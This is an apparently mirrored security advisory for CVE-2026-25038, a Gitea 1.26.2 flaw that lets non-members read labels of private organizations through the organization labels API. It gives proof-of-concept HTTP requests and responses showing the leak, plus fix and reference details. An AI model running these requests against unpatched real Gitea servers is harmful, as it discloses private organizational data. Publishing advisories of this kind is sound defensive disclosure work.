CVE-2026-25038: Gitea: Unauthorized Access to Labels of Private Organizations
Summary Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints. A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed. The issue is limited to unauthorized read access.
Published Jul 21, 2026
Affected packages
code.gitea.io/gitea
- Ecosystem
- Go
- Affected
- < 1.26.3
- Fixed in
- 1.26.3
- Check
go list -m code.gitea.io/gitea
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.
A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.
The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.
Details
The following endpoints are affected:
GET /api/v1/orgs/{org}/labelsGET /api/v1/orgs/{org}/labels/{id}
During testing, a private organization was created and a label was added to that organization.
Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.
However, the same user was still able to retrieve organization labels through the endpoints listed above.
For comparison, other organization-scoped endpoints such as:
GET /api/v1/orgs/{org}/teamsGET /api/v1/orgs/{org}/hooksGET /api/v1/orgs/{org}/actions/secrets
correctly denied access to unauthorized users.
The label endpoints returned the full Label object, including fields such as:
idnamedescriptioncolorurl
Write operations were tested separately and remained protected by authorization checks.
PoC
Setup
Create a private organization:
POST /api/v1/orgs
Authorization: token <owner_token>
{
"username": "target-org",
"visibility": "private"
}Create a label:
POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>
{
"name": "internal-label",
"color": "#aabbcc",
"description": "private organization label"
}Verify that the organization is not accessible to a non-member:
GET /api/v1/orgs/target-org
Authorization: token <non_member_token>Response:
HTTP/1.1 404 Not FoundRetrieve all labels
Request:
GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>Observed response:
HTTP/1.1 200 OKThe response contains labels belonging to the private organization.
Retrieve a specific label
Request:
GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>Observed response:
HTTP/1.1 200 OKThe full Label object is returned.
Verify write protection
Request:
PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>Response:
HTTP/1.1 403 ForbiddenPoC Details
https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak
Impact
Users who are not authorized to access a private organization can obtain label metadata associated with that organization.
Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.
The issue affects confidentiality only. No integrity or availability impact was observed.
Credited to ybsun0215.
References
- https://github.com/go-gitea/gitea/security/advisories/GHSA-v73x-hx65-6pf4
- https://nvd.nist.gov/vuln/detail/CVE-2026-25038
- https://github.com/go-gitea/gitea/pull/38151
- https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9
- https://blog.gitea.com/release-of-1.26.3-and-1.26.4
- https://github.com/go-gitea/gitea/releases/tag/v1.26.3
- https://github.com/advisories/GHSA-v73x-hx65-6pf4
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-20779
Gitea: TOTP TOCTOU race on web 2FA paths + missing replay check on Basic-Auth `X-Gitea-OTP` surface
high7.1Jul 21, 2026CVE-2026-20896
Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`
critical9.8Jul 21, 2026CVE-2026-22874
Gitea: Incomplete SSRF Protection in Webhook and Migration Allow-list Default Filter
critical9.6Jul 21, 2026CVE-2026-23603
Gitea: Blind SSRF in OAuth2 avatar synchronization via unvalidated OIDC picture claim
low3.1Jul 21, 2026CVE-2026-24451
Gitea: Fork Synchronization Continues After Parent Repository Changes from Public to Private
high7.5Jul 21, 2026CVE-2026-27761
Gitea: API access token scope enforcement bypass on repository RSS/Atom feed endpoints leaks private repository commit data
medium4.3Jul 21, 2026
